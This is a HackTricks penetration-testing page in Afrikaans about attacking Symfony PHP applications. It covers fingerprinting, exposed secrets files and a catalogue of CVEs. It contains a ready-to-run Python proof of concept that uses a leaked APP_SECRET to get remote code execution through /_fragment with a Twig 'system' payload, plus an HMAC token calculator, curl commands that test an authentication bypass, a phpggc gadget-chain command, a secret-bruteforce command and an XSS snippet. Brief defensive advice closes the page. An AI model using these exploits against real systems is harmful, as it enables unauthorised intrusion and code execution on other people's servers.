Symfony
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Symfony is een van die mees gebruikte PHP-frameworks en verskyn gereeld in assesserings van enterprise-, e-handel- en CMS-doeleindes (Drupal, Shopware, Ibexa, OroCRM … almal embed Symfony-komponente). Hierdie bladsy versamel offensiewe wenke, algemene wankonfigurasies en onlangse kwesbaarhede wat op jou kontrolelys moet wees wanneer jy ’n Symfony-toepassing ontdek.
Historiese nota: ’n Groot deel van die ekosisteem hardloop steeds op die 5.4 LTS-tak (EOL November 2025). Symfony 7.4 het die nuwe LTS geword in Nov 2025 en sal sekuriteitsfixes ontvang tot Nov 2029. Verifieer altyd die presiese patch-vlak want baie advisories van 2024‑2026 is slegs in mikro-releases opgelos.
Recon & Enumeration
Finger-printing
- HTTP response headers:
X-Powered-By: Symfony,X-Debug-Token,X-Debug-Token-Linkor cookies starting withsf_redirect,sf_session,MOCKSESSID. - Source code leaks (
composer.json,composer.lock,/vendor/…) often reveal the exact version:
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
- Public routes that only exist on Symfony:
/_profiler(Symfony Profiler & debug toolbar)/_wdt/<token>(“Web Debug Toolbar”)/_error/{code}.{_format}(pretty error pages)/app_dev.php,/config.php,/config_dev.php(pre-4.0 dev front-controllers)- Wappalyzer, BuiltWith or ffuf/feroxbuster wordlists:
symfony.txt→ soek na/_fragment,/_profiler,.env,.htaccess.
Interessante lêers & endpoints
| Path | Waarom dit saak maak |
|---|---|
/.env, /.env.local, /.env.prod | Gereeld verkeerd ontplooi → leaks APP_SECRET, DB creds, SMTP, AWS keys |
/.git, .svn, .hg | Bronkode openbaarmaking → credentials + business logic |
/var/log/*.log, /log/dev.log | Web-root mis-konfigurasie stel stack-traces bloot |
/_profiler | Volledige versoekgeskiedenis, konfigurasie, service container, APP_SECRET (≤ 3.4) |
/_fragment | Ingangspunt wat deur ESI/HInclude gebruik word. Misbruik moontlik sodra jy die APP_SECRET ken |
/vendor/phpunit/phpunit/phpunit | PHPUnit RCE as dit toeganklik is (CVE-2017-9841) |
/index.php/_error/{code} | Finger-print & soms leak exception traces |
Hoë-impak Kwesbaarhede
1. APP_SECRET disclosure ➜ RCE via /_fragment (aka “secret-fragment”)
- CVE-2019-18889 oorspronklik, maar kom nog steeds voor op moderne teikens wanneer debug aangesit gelaat word of
.envblootgestel word. - Sodra jy die 32-karakter
APP_SECRETken, skep ’n HMAC-token en misbruik die internerender()controller om willekeurige Twig uit te voer:
# PoC – requires the secret
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}" # RCE in Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
- Uitstekende uiteensetting & exploit-skrip: Ambionics blog (gekoppel in Verwysings).
2. PATH_INFO auth bypass – CVE-2025-64500 (HttpFoundation)
- Beïnvloed weergawes onder 5.4.50, 6.4.29 en 7.3.7. Padnormalisering kon die vooraanstaande
/weggooi, wat toegangskontroles wat/adminens. aanvaar, breek. - Vinnige toets:
curl -H 'PATH_INFO: admin/secret' https://target/index.php→ as dit admin-roetes bereik sonder auth, het jy dit gevind. - Los dit op deur
symfony/http-foundationof die volledige raamwerk op te gradeer na die reggestelde patch-vlak.
3. MSYS2/Git-Bash argument mangling – CVE-2026-24739 (Process)
- Beïnvloed weergawes onder 5.4.51, 6.4.33, 7.3.11, 7.4.5 en 8.0.5 op Windows wanneer PHP vanaf MSYS2 (Git-Bash, mingw) loop.
Processslaag nie daarin om=korrek te citeer nie, wat tot gekorrupte paaie lei; destruktiewe kommando’s (rmdir,del) kan onbedoelde gidse teiken. - As jy ’n PHP-skrip kan oplaai of Composer/CLI helpers kan beïnvloed wat
Processaanroep, bou argumente met=(bv.E:/=tmp/delete) om pad-oor-skryf te veroorsaak.
4. Runtime env/argv injection – CVE-2024-50340 (Runtime)
- Wanneer
register_argv_argc=Onen nie-SAPI runtimes gebruik word, kan gemanipuleerde query stringsAPP_ENV/APP_DEBUGomdraai viaargvparsing. Gefikseer in 5.4.46/6.4.14/7.1.7. - Soek na
/?--env=prodof soortgelyke inskrywings wat in logs aanvaar word.
5. URL validation / open redirect – CVE-2024-50345 (HttpFoundation)
- Spesiale karakters in die URI is nie op dieselfde wyse gevalideer as wat blaaiers doen nie, wat omleiding na aanvallersbeheer-deur-domeine moontlik maak. Gefikseer in 5.4.46/6.4.14/7.1.7.
6. Symfony UX attribute injection – CVE-2025-47946
symfony/ux-twig-component&symfony/ux-live-componentvoor 2.25.1 render{{ attributes }}sonder ontsnapping → attribute injection/XSS. As die app gebruikers toelaat om komponent-attribuite te definieer (admin CMS, e-pos templating) kan jy dit ketting na script injection.- Werk albei pakkette op na 2.25.1+. As manuele exploit, plaas JS in ’n attribuutwaarde wat aan ’n custom component gegee word en trigger rendering.
7. Windows Process Hijack – CVE-2024-51736 (Process)
- Die
Process-komponent het die huidige werkdirektorie gesoek voorPATHop Windows. ’n Aanvaller wattar.exe,cmd.exe, ens. in ’n skryfbare web-root kan oplaai enProcesstrigger (bv. lêer-extraksie, PDF-generering) kry command execution. - Gefikseer in 5.4.50, 6.4.14, 7.1.7.
8. Session-Fixation – CVE-2023-46733
- Authentication guard het ’n bestaande session ID hergebruik na login. As ’n aanvaller die cookie voor die slagoffer autentiseer stel, kap hulle die rekening na login.
9. Twig sandbox XSS – CVE-2023-46734
- In toepassings wat gebruikersbeheerde templates blootstel (admin CMS, e-pos bouer) kon die
nl2brfilter gebruik word om die sandbox te omseil en JS in te spuit.
10. Symfony 1 gadget chains (still found in legacy apps)
phpggc symfony/1 system idproduseer ’n Phar payload wat RCE trigger wanneer ’n unserialize() plaasvind op klasse soossfNamespacedParameterHolder. Kyk na lêer-oplaai endpoints enphar://wrappers.
PHP - Deserialization + Autoload Classes
Exploitation Cheat-Sheet
Calculate HMAC token for /_fragment
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"
Bruteforce swak APP_SECRET
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target
RCE via blootgestelde Symfony Console
As bin/console deur php-fpm of deur direkte CLI upload bereikbaar is:
php bin/console about # confirm it works
php bin/console cache:clear --no-warmup
Gebruik deserialization gadgets in die cache directory of skryf ’n malicious Twig template wat by die volgende versoek uitgevoer sal word.
Toets PATH_INFO bypass vinnig (CVE-2025-64500)
curl -i -H 'PATH_INFO: admin/secret' https://target/index.php
# If it returns protected content without redirect/auth, the Request normalization is vulnerable.
Spray UX attribute injection (CVE-2025-47946)
{# attacker-controlled attribute value #}
<live:button {{ attributes|merge({'onclick':'alert(1)'}) }} />
As die gerenderde uitvoer die attribuut sonder ontsnapping weergee, slaag XSS. Werk dit by na 2.25.1+.
Verdedigingsnotas
- Never deploy debug (
APP_ENV=dev,APP_DEBUG=1) in produksie; blokkeer/app_dev.php,/_profiler,/_wdtin die web-bediener se konfigurasie. - Bêre secrets in env vars of
vault/secrets.local.php, nooit in lêers wat deur die document-root toeganklik is nie. - Dwing patch-bestuur af – teken in op Symfony security advisories en hou minstens die LTS patch-vlak (5.4.x tot Nov 2025, 6.4 tot Nov 2027, 7.4 tot Nov 2029).
- As jy op Windows werk, werk onmiddellik op om CVE-2024-51736 & CVE-2026-24739 te versag, of voeg
open_basedir/disable_functionsas verdedigings-in-diepte by.
Nuttige offensiewe tooling
- ambionics/symfony-exploits – secret-fragment RCE, ontdekking van debugger-routes.
- phpggc – Ready-made gadget chains for Symfony 1 & 2.
- sf-encoder – klein helper om
_fragmentHMAC te bereken (Go implementation).
References
- Ambionics – Symfony “secret-fragment” Remote Code Execution
- Symfony Security Advisory – CVE-2024-51736: Command Execution Hijack on Windows Process Component
- Symfony Blog – CVE-2025-47946: Unsanitized HTML attribute injection in UX components
- Symfony Blog – CVE-2026-24739: Incorrect argument escaping under MSYS2/Git Bash
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


